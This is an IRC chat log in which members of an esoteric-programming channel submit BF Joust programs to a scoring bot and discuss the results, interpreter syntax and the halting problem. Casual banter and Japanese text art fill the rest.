>>++++++++++>+>+[[+++++[>++++++++<-]>.<++++++[>--------<-]+<<<]>>>[[-]<[>+<-]>>[<<+>+>-]<[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>[-]>+>+<<<-[>+<-]]]]]]]]]]]+>>>]<<<] 12:09:48 Score for jix_fib: 8.6 12:09:58 that's very complex looking 12:10:01 does it do what you think it does? 12:10:11 i just took http://www.hevanet.com/cristofd/brainfuck/fib.b 12:10:12 ^^ 12:10:15 oh lol 12:10:52 !bfjoust rot13 http://www.hevanet.com/cristofd/brainfuck/rot13.b 12:10:55 Score for Deewiant_rot13: 0.0 12:11:15 amazingly, brainfuck programs don't make good bfjoust programs 12:11:19 !bfjoust squares http://www.hevanet.com/cristofd/brainfuck/squares.b 12:11:22 Score for Deewiant_squares: 0.0 12:11:22 who knew that computing fibbonaci numbers was so useless? 12:11:36 !bfjoust random http://www.hevanet.com/cristofd/brainfuck/random.b 12:11:39 Score for Deewiant_random: 0.0 12:11:47 !bfjoust fib http://www.hevanet.com/cristofd/brainfuck/fib.b 12:11:49 you have to add a > at the beginning 12:11:50 Score for Deewiant_fib: 0.0 12:11:53 Thought so 12:11:53 or they'll all sucide 12:12:06 most BF programs don't start [-], though 12:12:08 and none start < 12:12:15 !bfjoust rot13 >[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>++++++++++++++<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>>+++++[<----->-]<<-[>+<-[>+<-[>+<-[> 12:12:18 Score for Deewiant_rot13: 10.7 12:12:21 +<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>++++++++++++++<-[>+<-[>+<-[>+<-[>+<-[>+<-[>++++++++++++++<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>>+++++[<----->-]<<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>++++++++++++++<-[>+<-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]>.[-]<,] 12:12:23 lol 12:12:28 Darn 12:12:30 Too long 12:12:33 :-D 12:12:33 !bfjoust err [ 12:12:35 Half of rot13 beats fibonacci 12:12:37 Score for jix_err: 6.4 12:12:41 !bfjoust err ] 12:12:45 Score for jix_err: 10.7 12:12:49 whoa 12:13:03 !bfjoust err ]+] 12:13:06 Score for jix_err: 16.4 12:13:08 my dragon beats that 12:13:32 !bfjoust random >>>++[<++++++++[<[<++>-]>>[>>]+>>+[-[->>+<<<[<[<<]<+>]>[>[>>]]]<[>>[-]]>[>[-<<]>[<+<]]+<<]<[>+<-]>>-]<.[-]>>] 12:13:35 Score for Deewiant_random: 0.0 12:13:46 I'm not sure what exactly [ without ] does 12:14:57 morning 12:15:03 hmm i should write a debugger for this at some time 12:15:03 or noon rather 12:15:23 evening here 12:15:24 ;p 12:15:57 !bfjoust factorial >(+)*10>>>+>+[>>>+[-[<<<<<[+<<<<<]>>[[-]>[<<+>+>-]<[>+<-]<([>+<-)*9[>[-]>>>>+>+<<<<<<-[>+<-(])*11>[<+>-]+>>>>>]<<<<<[<<<<<](>)*7[>>>>>]++[-<<<<<]>>>>>>-]+>>>>>]<[>++<-]<<<<[<[>+<-]<<<<]>>[->[-]++++++[<(+)*8>-]>>>>]<<<<<[<[>+>+<<-]>.<<<<<]>.>>>>] 12:16:00 Score for Deewiant_factorial: 8.8 12:16:03 whoa 12:16:11 slightly afternoon AnMaster 12:16:16 !bfjoust factorial >(+)*10>>>+>+[>>>+[-[<<<<<[+<<<<<]>>[[-]>[<<+>+>-]<[>+<-]<([>+<-)*9[>[-]>>>>+>+<<<<<<-[>+<-(])*11>[<+>-]+>>>>>]<<<<<[<<<<<](>)*7[>>>>>]++[-<<<<<]>>>>>>-]+>>>>>]<[>++<-]<<<<[<[>+<-]<<<<]>>[->[-]++++++[<(+)*8>-]>>>>]<<<<<[<[>+>+<<-]>.<<<<<]>.>>>>] 12:16:18 Score for Deewiant_factorial: 4.2 12:16:35 yeah 12:16:35 Beats mirage, loses against everything else :-P 12:18:20 psewelklihiandnabarfrux chewelisksiamtmaybobyargruz 12:18:37 !rot13 psewelklihiandnabarfrux chewelisksiamtmaybobyargruz 12:18:38 cfrjryxyvuvnaqanonesehk purjryvfxfvnzgznlobolnetehm 12:18:41 hmm nope 12:19:26 beat my random shit 12:19:32 !bfjoust ugh ((>(+)*19>(-)*19)*4>>(>[-[+]])*5(<)*12)*23 12:19:35 Score for leonid__ugh: 65.4 12:20:33 rushpolarity :twisted::twisted::twis ted: 12:20:44 :( 12:21:06 !bfjoust collatz >[(-)*10[>>>[>>>>]+[[-]+<[->>>>++>>>>+[>>>>]++[->+<<<<<]]<<<](+)*6[>(-)*6<-]>--[>>[->>>>]+>+[<<<<]>-],<]>]>>>++>+>>[<<[>>>>[-](+)*9<[>-<-](+)*9>[-[<->-]+[<<<<]]<[>+<-]>]>[>[>>>>]+[[-]<[+[->>>>]>+<]>[<+>[<<<<]]+<<<<]>>>[->>>>]+>+[<<<<]]>[[>+>>[<<<<+>>>>-]>]<<<<[-]>[-<<<<]](>)*7]>>+[[-](+)*6>>>>]<<<<[[<(+)*8>-]<.([-]<)*3] 12:21:10 Score for Deewiant_collatz: 13.1 12:21:44 !bfjoust collatz >[(-)*10[>>>[>>>>]+[[-]+<[->>>>++>>>>+[>>>>]++[->+<<<<<]]<<<](+)*6[>(-)*6<-]>--[>>[->>>>]+>+[<<<<]>-],<]>]>>>++>+>>[<<[>>>>[-](+)*9<[>-<-](+)*9>[-[<->-]+[<<<<]]<[>+<-]>]>[>[>>>>]+[[-]<[+[->>>>]>+<]>[<+>[<<<<]]+<<<<]>>>[->>>>]+>+[<<<<]]>[[>+>>[<<<<+>>>>-]>]<<<<[-]>[-<<<<]](>)*7]>>+[[-](+)*6>>>>]<<<<[[<(+)*8>-]<.([-]<)*3] 12:21:48 Score for Deewiant_collatz: 13.2 12:22:10 Bunch of ties from that one 12:22:24 haha 12:22:33 imagine making one that looks like this but still gets lots of wins 12:22:40 obfuscated bfjoust :) 12:22:48 D: 12:22:59 it may appear to be generating prime numbers innocently, but behind the scenes it thrashes all 19 other programs on the hill 12:23:00 lol 12:24:58 !bfjoust dbfi >>>+[[-]>>[-]++>+>(+)*7[<++++>>++<-]++>>+>+>+++++[>++>(+)*6<<-]+>>++[[>[->>]<[>>]<<-]<[<]<+>>[>]>[<+>-[[<+>-]>]<[[[-]<]++<-[<(+)*9>[<->-]>>]>>]]<<]<]<[[<]>[[>]>>[>>]+[<<]<[<]<+>>-]>[>]+[->>]<<<<[[<<]<[<]+<<[+>+<<-[>-->+<<-[>+<[>>+<<-]]]>[<+>-]<]++>>-->[>]>>[>>]]<<[>>+<[[<]<]>[[<<]<[<]+[-<+>>-[<<+>++>-[<->[<<+>>-]]]<[>+<-]>]>[>]>]>[>>]>>]<<[>>+>>+>>]<<[-(>)*8]<<[>.(>)*7]<<[>->>>>>]<<[>.>>>]<<[>+>]<<[+<<]<] 12:25:02 Score for Deewiant_dbfi: 7.9 12:25:25 Brainfuck interpreter beats keke2 12:25:37 ? 12:25:40 oh right 12:25:47 whoa 12:26:48 huh something is wrong with the report? 12:26:55 is it just tabs? 12:27:07 sometimes it's screwed by tabs if a program scores only single digits 12:27:54 !bfjoust nothing . 12:27:57 but it should report fine otherwise 12:27:57 Score for jix_nothing: 10.3 12:28:06 . beats programs that rely apon an assumption 12:28:11 i.e. my enemy will setup decoys 12:28:30 here goes a program that runs off the end and doesn't care 12:28:31 when is the report updated and what does it include? 12:28:31 !bfjoust ugh ((>(+)*19>(-)*19)*4(>[-[+]])*7(<)*12)*59 12:28:35 Score for leonid__ugh: 66.6 12:28:40 it's reported after every new submission 12:28:51 does it include the last submission always? 12:28:54 yes 12:28:55 always 12:29:06 leonid_: Thanks for raising maglev's score ^_^ 12:29:12 because i don't see them often 12:29:19 !bfjoust defend9 http://pastebin.ca/raw/1439379 12:29:20 dam 12:29:23 uh oh 12:29:33 why the uh oh? 12:29:42 defend9 teh best program!! 12:29:43 mmmmm 12:29:45 also, if defend9 takes a long time to run, that's normally because it's winning 12:29:48 the 9 stands for over nine thousand 12:29:53 so I have a good feeling about this 12:30:22 it's almost the same program, I just fixed a couple of bugs and optimised the value of an important constant 12:31:34 and wow, it /is/ taking a long time 12:31:38 Score for ais523_defend9: 73.6 12:31:47 yay, not bad at all 12:31:56 top of the leaderboard 12:31:58 Yay, you raised maglev's score too 12:32:22 i redesigned ugh to raise all the other scores 12:32:33 maglev beats everybody above it except shade and rushpolarity 12:32:34 !bfjoust ugh < 12:32:43 Score for leonid__ugh: 0.0 12:32:47 nice 12:32:49 leonid_: Noo, now you reduced my score :-P 12:33:31 I wonder if keke2 has been redesigned recently 12:33:34 because I beat it locally 12:33:40 but I lost to it in EgoBot 12:33:40 !bfjoust try2 < 12:33:50 Or is it just the RNG 12:33:50 Score for jix_try2: 0.1 12:33:58 haha 12:34:01 beats mine 12:34:01 heh, the two suicide programs tie with each other 12:34:08 they're both on 0.1 now 12:34:17 Deewiant: the random seed is based on a hash of both programs 12:34:25 !bfjoust the_greatest_program_ever!!! [>[-[+]]-] 12:34:25 FIX IT NOW 12:34:25 so any particular matchup should be deterministic 12:34:28 AARGHRGARG 12:34:35 Score for Patashu_the_greatest_program_ever___: 34.2 12:34:37 ais523: Oh, so you're using the same impl 12:34:39 not bad 12:34:57 Deewiant: almost the same 12:35:00 ais523: I assumed that your local interpreter would do things differently 12:35:01 I hacked it to produce debug output 12:35:15 so I can see how any particular pair of programs functions 12:35:35 !bfjoust bluguerrilla_glasses [--]_[--] 12:35:38 Patashu: incidentally, it beats rushpolarity now too 12:35:45 Score for leonid__bluguerrilla_glasses: 5.5 12:35:48 ;p 12:35:55 !bfjoust the_greatest_program_ever!!! +[>[-[+]]-] 12:36:05 Score for Patashu_the_greatest_program_ever___: 40.0 12:36:10 cool 12:36:13 !bfjoust the_greatest_program_ever!!! +[>[-[+]]--] 12:36:23 Score for Patashu_the_greatest_program_ever___: 40.5 12:36:26 due to an architectural improvement; I made it polarity-independent 12:36:28 !bfjoust the_greatest_program_ever!!! +[>[-[+]]---] 12:36:38 it now has two /different/ ways of gluing the opponent in place 12:36:38 Score for Patashu_the_greatest_program_ever___: 47.7 12:36:46 !bfjoust the_greatest_program_ever!!! +[>[-[+]](-)*4] 12:36:56 Score for Patashu_the_greatest_program_ever___: 32.4 12:37:02 !bfjoust the_greatest_program_ever!!! ++[>[-[+]]---] 12:37:10 the value should be coprime to 256 12:37:12 Score for Patashu_the_greatest_program_ever___: 40.5 12:37:17 !bfjoust the_greatest_program_ever!!! +[>[-[+]]--] 12:37:21 oh wait you're moving there 12:37:27 Score for Patashu_the_greatest_program_ever___: 40.5 12:37:33 oh 12:37:34 !bfjoust the_greatest_program_ever!!! +[>[-[+]]---] 12:37:36 there leaving it on that 12:37:47 Score for Patashu_the_greatest_program_ever___: 47.7 12:38:06 wow, quickbeatinthestreetdanceonyo_feetcausethisissoneat has dropped a /lot/ 12:38:08 what happened to it? 12:38:11 !bfjoust idiot ((-)*1000><><><><><><><)*100 12:38:19 let's see what it's losing to... 12:38:21 Score for leonid__idiot: 8.5 12:38:35 !bfjoust idiot (+-><-+)*100000 12:38:44 maglev, waiter, defend 6-7-9, neon glow, 3pass, keke2 12:38:45 Score for leonid__idiot: 22.9 12:38:46 I guess that 12:38:49 it was beating defend9 and now is not 12:39:07 !bfjoust idiot (+->(-)*19<-+)*10000 12:39:09 leonid_: that's like my vff, just worse 12:39:16 Score for leonid__idiot: 10.0 12:39:24 if you're going to write a farmer, you may as well go all out 12:39:34 !bfjoust (>)*11(-.)*512 12:39:35 Use: !bfjoust 12:39:39 !bfjoust whoops (>)*11(-.)*512 12:39:42 farmer? 12:39:44 !bfjoust idiot (+->+-<)*100000 12:39:54 Patashu: a program that scrambles the tape elements near its flag 12:39:58 Score for leonid__idiot: 17.0 12:39:58 Score for jix_whoops: 7.8 12:40:04 !bfjoust whoops (>)*12(-.)*512 12:40:05 I'm not entirely sure what good that does, except for scrambling the flag itself 12:40:14 Score for jix_whoops: 15.2 12:40:18 !bfjoust whoops (>)*13(-.)*512 12:40:21 Since when are they called farmers? 12:40:24 !bfjoust idiot ((+-)*100>(+-)*100<)*5000 12:40:30 Score for leonid__idiot: 11.2 12:40:30 Score for jix_whoops: 18.4 12:40:32 I think someone submitted a program like that and called it farmer 12:40:34 and I copied the name 12:40:36 !bfjoust whoops (>)*14(-.)*512 12:40:40 !bfjoust idiot <^.^> 12:40:40 I might be wrong, though 12:40:44 I've was up all night 12:40:44 Score for jix_whoops: 8.5 12:40:44 Yes, I did :-P 12:40:49 Score for leonid__idiot: 0.0 12:40:52 !bfjoust whoops (>)*15(-.)*512 12:40:57 I submitted some six or seven farmers 12:40:57 Deewiant: well, you coined a BF Joust term, well done 12:41:02 Score for jix_whoops: 6.2 12:41:03 Yay 12:41:10 now, who came up with "tripwire"/ 12:41:17 !bfjoust whoops (>)*13(-.)*256>(-.)*256 12:41:23 The only one I've seen using that term is you :-P 12:41:27 Score for jix_whoops: 10.6 12:41:35 !bfjoust kirbyhassuicidalfeelingsheneedstoexpress <(-.-)*3> 12:41:39 !bfjoust whoops (>)*12(-.)*256>(-.)*256 12:41:46 hmm... I just noticed a *-160 in defend9's code 12:41:50 it's in a bit that probably never runs 12:41:50 what lol 12:41:52 Score for Patashu_kirbyhassuicidalfeelingsheneedstoexpress: 0.0 12:41:52 Score for jix_whoops: 17.3 12:42:15 !bfjoust whoops (>)*12(-.)*129>(-.)*129 12:42:24 I'll need to figure out what it /ought/ to say later 12:42:25 Score for jix_whoops: 24.4 12:42:33 probably *163, based on context 12:42:37 !bfjoust whoops (>)*12(-.)*129>(-.)*129a 12:42:47 Score for jix_whoops: 8.9 12:42:48 so, maglev and keke2 beat defend9 12:42:48 why? 12:42:50 !bfjoust idiot :3 12:42:51 !bfjoust whoops (>)*12(-.)*129>(-.)*129b 12:43:02 Patashu: keke2 I don't know 12:43:06 given that my local tests, it doesn't 12:43:08 Score for jix_whoops: 9.6 12:43:08 Score for leonid__idiot: 12.4 12:43:12 jix you are exploiting hash values D: 12:43:18 !bfjoust whoops (>)*12(-.)*129>(-.)*129>(-.)*129>(-.)*129>(-.)*129>(-.)*129>(-.)*129 12:43:25 HASH VALUES 12:43:28 Score for jix_whoops: 29.7 12:43:31 wait what was that text macro I had 12:44:13 !bfjoust idiot [>-[+]] 12:44:16 nvm 12:44:18 ~~~:'(HASH BASED RANDOMNESS:'(~~ 12:44:23 Score for leonid__idiot: 11.0 12:44:24 !bfjoust idiot [>-[+]-] 12:44:37 Score for leonid__idiot: 30.8 12:44:40 we need a faster implementation for the hil 12:44:42 !bfjoust idiot [>-[+-+]-] 12:44:43 *hill 12:44:51 Score for leonid__idiot: 26.0 12:45:15 ah, keke2 starts with ten >s 12:45:27 and in my local game, the random seed happens to give a tape length of 10 12:45:35 so it's kind of hard to test 12:45:46 presumably the RNG is different in the egobot version due to having a different libc 12:45:54 aha 12:45:56 there you go 12:48:00 that wasn't even a deliberate attempt to exploit the hash 12:48:14 it just turned out that way when I finally got the detection code properly working 12:51:43 speedy1's dropping down the leaderboard now 12:51:49 at least it's done its bit to make programs a bit faster 12:53:16 the weaker speedy1 gets 12:53:19 the less it matters if you don't beat it 12:53:30 yep 12:53:33 same for any other program 12:53:43 but the hill will be faster overall as a result 12:53:54 you can tell it's faster, on the basis that speedy1 is doing badly on it 12:53:56 but was doing well before 12:54:56 * ais523 wonders how long defend9 will stay up there 12:55:20 power through obfuscation 12:55:23 i.e. ages :) 12:55:31 it's not meant to be obfuscated 12:55:40 it's brainfuck 12:55:43 i.e. obfuscated by definition 12:55:47 ah 12:57:18 * ais523 thinks it's interesting that even defence programs have to use decoys, to give themselves time to set up the defence 12:59:33 -!- Judofyr has quit (Remote closed the connection). 13:06:09 @_@ 13:06:16 ^_^ 13:06:38 \o/ 13:06:38 | 13:06:39 /< 13:07:39 !bfjoust juggernaut +(>(-)*128.(-.)*512>(+)*128.(++.)*512)*15 13:07:50 Score for Patashu_juggernaut: 17.5 13:07:52 !bfjoust juggernaut +(>(-)*128.--++.-.+.-+)*29 13:08:02 Score for Patashu_juggernaut: 30.3 13:08:53 im the juggernaut 13:11:22 L(-_- )7 13:11:24 / \ 13:11:53 IS THAT YOU NAITO HORIZON 13:12:11 what 13:13:05 http://naitohorizon.blogspot.com/ 13:13:51 lol 13:14:17 --( ^w^)- 13:14:27 /| 13:14:30 arrhhg **** 13:15:10 leonid : It reminded me of this : http://ja.wikipedia.org/wiki/%E5%86%85%E8%97%A4%E3%83%9B%E3%83%A9%E3%82%A4%E3%82%BE%E3%83%B3#.E3.83.96.E3.83.BC.E3.83.B32 13:15:19 ⊂二二二（　＾ω＾）二⊃ 13:15:21 Bu-n 13:15:50 　　　　　 　　　／⌒ヽ 13:15:50 　　⊂二二二（　＾ω＾）二⊃ 13:15:50 　　　　　　　　|　　　 / 　　　　　　ﾌﾞｰﾝ 13:15:50 　　　　 　　　 （　ヽノ 13:15:50 　　　　　　　　 ﾉ>ノ　 13:15:51 　　　　 三　　レﾚ 13:15:57 nope 13:22:44 ..... 13:28:16 it fails in monospace 13:28:32 Mona font isn't monospaced 13:28:34 sorry. your home is 2ch, cute creature 13:28:34 So yeah 13:29:04 Well, bu-n works on IRC, but only when using one line. 13:29:16 ⊂二二二（　＾ω＾）二⊃ SPREAD YOUR ARMS AND BU-N 13:30:01 ( ﾟ -ﾟ) you don't say 13:30:14 Gracenotes. 13:30:20 Do you like mittens. 13:30:20 ∂_∂ 13:30:33 π_π 13:30:45 ≈_≈ 13:30:56 º∑º 13:31:03 ｙｅｓ，　Ｉ　ｄｏ　ｌｉｋｅ　ｋｉｔｔｅｎｓ　ｓｏ　ｍｕｃｈ 13:31:37 (づの‿の)づ 13:31:46 ugh 13:31:52 too lazy to bring up japanese keyboard 13:32:05 I just happen to keep my favorites :3 13:32:14 *mittens 13:32:26 ·‚· 13:32:27 http://tanasinn.info/wiki/%28_%EF%BE%9F_%E3%83%AE%EF%BE%9F%29 13:32:29 ·_· 13:32:43 ≥A≤ 13:33:05 ◊_◊ 13:33:07 (　･ิω･ิ) 13:33:11 kittens 13:33:13 Why hello there 13:34:03 Mittens for kittens 13:34:23 I read a story about that when I was younger 13:34:39 the mittens who lost their kittens. Or actually it was the other way around. 13:35:00 "This page is small. You can help by making it huge. " 13:35:02 heh 13:35:10 Gracenotes: I thought they got them dirty, rather than losing them 13:35:28 ais523: I think we may have read different stories? 13:35:41 possibly 13:35:49 it's a British nursery rhyme 13:35:53 and not a particularly interesting one 13:35:56 I can't remember it any more 13:36:09 http://www.rhymes.org.uk/three_little_kittens.htm 13:36:12 oh, yes, that one 13:36:33 "Meeow, meeow, meeow, now we shall have no pie." 13:36:35 Awwww 13:36:38 Poor kittens 13:36:44 ais523: actually, it may be the same one :) 13:36:50 yes, I think so 13:37:09 ah, they lost them 13:37:15 and then got them dirty eating the pie 13:37:17 so we were both right 13:37:18 Part Une and Part Deux 13:37:32 the big question here is: why would a cat wear gloves to eat pie anyway/ 13:38:21 it would be easier to wash their gloves than to wash their paws 13:38:58 ............... ?_? 13:45:16 (づの‿の)づ 13:45:25 (>'-')> 13:47:11 　　　　　| ＼ 13:47:11 　　　　　|Д｀) ... 13:47:11 　　　　　|⊂ 13:47:11 　　　　　| 13:47:31 (>^.^)> 13:47:32 <(^.^<) 13:47:48 oh man, reminds me of when I had the kirby rolling game on my gameboy color 13:47:54 where you tilted the gameboy 13:47:59 good old days 13:48:35 >_> 13:51:01 　　　　∧ ∧＿__　　 13:51:01 　 　／(*ﾟーﾟ)　／＼ 13:51:01 　／|￣∪∪￣|＼／ 13:51:01 　 　|　 　 　 　 |／ 13:51:01 　 　 ￣￣￣￣ 13:55:12 they see me boxin 13:55:13 they hatin 13:56:57 She's more of the kind to wish on a dream and shit like that 13:58:31 http://tanasinn.info/images/4/42/PayDaddyCool.png 13:58:38 That picture always cracks me up. 13:59:57 lmfao 14:00:40 A nutella cake 14:00:41 lereah_: I don't exactly get the foodstuffs. 14:00:46 A tomato in a muffin cup 14:00:55 Yes, it is quite maddening 14:01:02 What madman did this? 14:02:13 lereah_: if u eat teh cake i will give u access to my secret area of http://img.secretareaofvipquality.net/src/1234340335056.jpg 14:03:03 xD 14:05:31 I did that photo :( 14:09:02 is nesting of ( and ) allowed? 14:09:18 jix: yes 14:09:25 :( 14:09:26 although nested ({})% doesn't seem to work 14:09:38 so replacing with ()* for GregorR's interpreter is required 14:09:41 even though that's against the spec 14:10:58 lereah_: >_> 14:11:23 nice pennies 14:11:24 ([)*322 is illegal according to the spec 14:11:40 They're all stored in my old Game Boy bag 14:11:47 btu is in defend9 14:11:48 *but 14:11:53 Except when I have to pay Daddy Cool. 14:12:17 ais523: i'm writing my own interpreter right now and want to make it compatible to what is out there... 14:14:25 I approve of this diagram. http://tanasinn.info/wiki/Mittens 14:16:13 　　 　∧＿∧∩　　　　　 　 ∧＿∧　)／ 14:16:13 　　　（　ﾟ ヮﾟ）/　　　 　　　　（ﾟ ヮﾟ　） ´ 14:16:13 　＿ / /　　 /　　　　　　　＿と　と ヽ 14:16:13 ＼⊂ノ￣￣￣￣＼　　　＼　￣￣￣￣￣＼ 14:16:13 　||＼　　　　　　　　＼　　.||＼.　　　　　　　　＼ 14:16:14 　||＼||￣￣￣￣￣||　　　||＼||￣￣￣￣￣|| 14:16:16 　||　 ||￣￣￣￣￣||　　　||　 ||￣￣￣￣￣|| 14:16:18 　 　 .||　 　 　 　 　 ||　　　 　 .||　 　 　 　 　 || 14:16:19 what interpreter does egobot use? 14:16:20 no 14:16:27 jix: egojoust 14:16:32 it's in the egobot distribution 14:16:33 o_O 14:18:33 ais523: which can be found where? 14:18:45 !info 14:18:46 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 14:23:20 this looks like the original bfjoust interp https://codu.org/projects/egobot/hg/index.cgi/rev/1fdbcf450c99 14:23:30 never have I ever 14:23:32 the Perl interp's my original 14:23:43 egojoust: https://codu.org/projects/egobot/hg/index.cgi/rev/d788867c80a2 14:23:48 -!- Corun has changed nick to Corun|away. 14:24:19 http://tanasinn.info/wiki/Haruhi_Mittens 14:24:35 ais523: and what about the spec saying that ([)*10 is illegal but it being used 14:25:09 jix: if you don't support it, make sure you get nested ({})% working 14:25:17 if you're aiming for compatibility, you should support both 14:25:48 -!- amca has quit ("Farewell"). 14:26:03 what is annoying... that i don't know what kind of pattern i have on the opening ( 14:26:50 lereah_: O^_^O 14:27:06 why not scan ahead to see if you find a { on the same level as it 14:27:10 then jump back and continue 14:27:20 just found another solution 14:30:59 -!- Corun|away has changed nick to Corun. 14:31:20 [¬º-°]¬ 14:33:19 Gracenotes, are you a /prog/lodyte? 14:34:40 I have been known to browse. and post. 14:35:21 There seems to be a lot of /prog/ people here 14:35:32 well. half of /prog/ possibly. :/ 14:35:43 Heh. 14:35:45 Iunno 14:36:02 /prog/ seems pretty active for a textboard 14:52:51 -!- lereah_ has quit ("Leaving"). 15:12:34 -!- ais523 has quit (Remote closed the connection). 15:18:43 -!- GregorR-L has quit (Remote closed the connection). 15:30:27 -!- FireFly has joined. 15:33:32 -!- GregorR-L has joined. 15:59:17 -!- oerjan has joined. 16:29:53 -!- inurinternet has quit (Connection timed out). 16:34:23 -!- coppro has quit (Read error: 110 (Connection timed out)). 16:38:57 -!- myndzi has quit (Read error: 110 (Connection timed out)). 16:48:55 -!- Patashu has quit (Remote closed the connection). 16:49:37 -!- myndzi has joined. 16:49:56 -!- inurinternet has joined. 16:57:12 -!- Laptop has joined. 16:57:21 -!- Laptop has changed nick to whtspc. 16:57:30 hello 16:57:38 hello 16:57:46 hello oerkan 16:57:49 oerjan 16:57:58 I'm a big time lurker here 16:58:11 but I have a question 16:58:29 ? 16:58:31 so I speak out loud for once 16:58:50 Is there a standalone version of egobot 16:58:52 ? 16:59:06 !info 16:59:07 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 16:59:10 something alike that I can use without the channel 16:59:17 i don't know 16:59:34 this version is fairly new 17:00:03 you can private message it, anyhow 17:00:29 also, GregorR is the person to ask 17:00:45 ah ok, private 17:01:09 I would like to play around with it at work :) 17:01:36 oh when you are not on irc at all? 17:01:39 whtspc: hg clone https://codu.org/projects/egobot/hg egobot/ 17:01:47 yes that's what I mean 17:02:48 pikhq: allthough I'm interested in esolangs, I'm not big computer-nerd 17:03:02 what can I do with that? 17:03:09 compile ? 17:03:18 to standalone? 17:03:29 if you _were_ a big computer nerd, you could probably change the code to make it standalone 17:03:38 exactly 17:03:47 I hoped someone already did :) 17:04:20 * oerjan isn't a big enough computer nerd himself to do that 17:04:36 even if i program some esothings 17:06:23 Ok thanks anyway, I'll try to make some kind of multiple language interpreter myself, I think a not-nerd should be able to do that 17:09:03 I'll move back into anonymity now, speak to you someday, thanks! 17:09:17 whtspc: those are usually called "shells" ;D 17:09:19 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 17:10:11 -!- myndzi\ has joined. 17:20:52 -!- myndzi has quit (Read error: 110 (Connection timed out)). 17:23:59 -!- Corun has changed nick to Corun|away. 17:42:23 -!- Corun|away has changed nick to Corun. 18:23:53 -!- Judofyr has joined. 18:39:23 -!- Corun has changed nick to Corun|away. 18:44:42 -!- leonid_ has quit ("Leaving"). 18:46:56 -!- jix_ has joined. 18:59:56 -!- jix has quit (Read error: 110 (Connection timed out)). 19:07:30 -!- oerjan has quit ("leaving"). 19:13:58 where i was: sleeping 19:14:31 RIP i_keelst_thou 19:14:33 2009-2009 19:17:36 -!- KingOfKarlsruhe has joined. 19:19:07 21:35:01 word on the street is that it's being rewritten to run with all 21 lengths, then with one of the program's polarity flipped, then the remaining 21 lengths 19:19:14 teaser :) 19:21:04 21:50:29 thought experiments are fun 19:21:04 21:50:38 especially if you put on thought lab coats and use thought chemicals 19:21:10 truer words have never been spoken 19:24:25 22:02:38 I don't know any perl :( 19:24:25 22:02:42 only know visual basic and jav 19:24:26 22:02:43 +a 19:24:28 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 19:28:09 22:18:52 Thing I was wondering about.. If one has a simple state machine, like f.ex. brainfuck, shouldn't it be relatively easy to detect infinite loops, by checksumming the machines state at the start of a loop, and after each iteration, check if the state (or any state in that loop) recurred? 19:28:10 22:19:03 Might be that I'm thinking wrong, I'm pretty tired already :) 19:28:14 yes 19:28:16 works 19:28:18 patashu is wrong 19:28:20 the problem is 19:28:27 you can't do it on a turing machine, for a turing machine 19:28:38 you can do it on a turing machine for any finite program 19:28:47 Patashu is evry wrong 19:28:49 *very 19:28:56 22:21:59 And that method would fail with +[>+] 19:28:58 finite tape 19:29:36 22:24:01 pikhq: thats because all non-TMs halt :P 19:29:39 ehird: Yes. After that I noted that the halting problem is solvable on a finite state machine. 19:29:39 ... 19:29:46 Absolutely incorrect, psygnisfive. 19:29:50 Erm. 19:29:51 Please don't say such stupid things. 19:29:54 pikhq: yar 19:29:57 *For* a finite state machine. 19:30:01 rite 19:30:21 22:27:23 ((lambda (x x)) (lambda (x x))) ;! 19:30:24 repeats state :-P 19:30:38 pikhq: that's fucked syntax 19:30:47 in Scheme, that takes two arguments, both called x, and then syntax errors. 19:30:48 ehird: Shaddup. 19:31:03 (\x.x x)(\x.x x) -> (\x.x x)(\x.x x) 19:31:06 so it's very state-repeating 19:31:09 I meant ((lambda x (x x)) (lambda x (x x))), of course. 19:31:22 22:29:43 if it's modified to run all tape lengths and both polarities 19:31:23 22:29:50 should all tape length matches have equal weighting? 19:31:24 yes 19:31:28 specialization is for insects 19:31:34 pikhq: (lambda (x) (x x)), for Scheme 19:31:45 22:30:35 anything that doesnt halt /is/ a turing machine, just not a UNIVERSAL turing machine. 19:31:47 Fine. 19:31:48 .................. 19:31:55 psygnisfive: where do your definitions come from? 19:31:56 they're bullshit 19:32:03 I meant (x){x x} (x){x x} 19:32:21 pikhq: No, you meant (λx. x x)(λx. x x) 19:32:27 That too. 19:33:16 heh, this no-more-than-80-columns-and-four-indentations rule is helping my code a lot 19:33:24 since I keep having to split functions :D 19:35:57 22:31:56 ignoring, ofcourse, trivial non-halting behavior like S -> S or similar. 19:36:06 "ignoring the whole point" 19:37:16 22:35:24 leonid_, increase the current cell, decrease it until its zero, increase it... 19:37:16 no 19:37:19 the loop ends when it's zero 19:37:34 [+[-]] = while(cell){cell++;while(cell){cell--;}} 19:37:40 ofc the outer while only runs once 19:45:13 how would you translate this 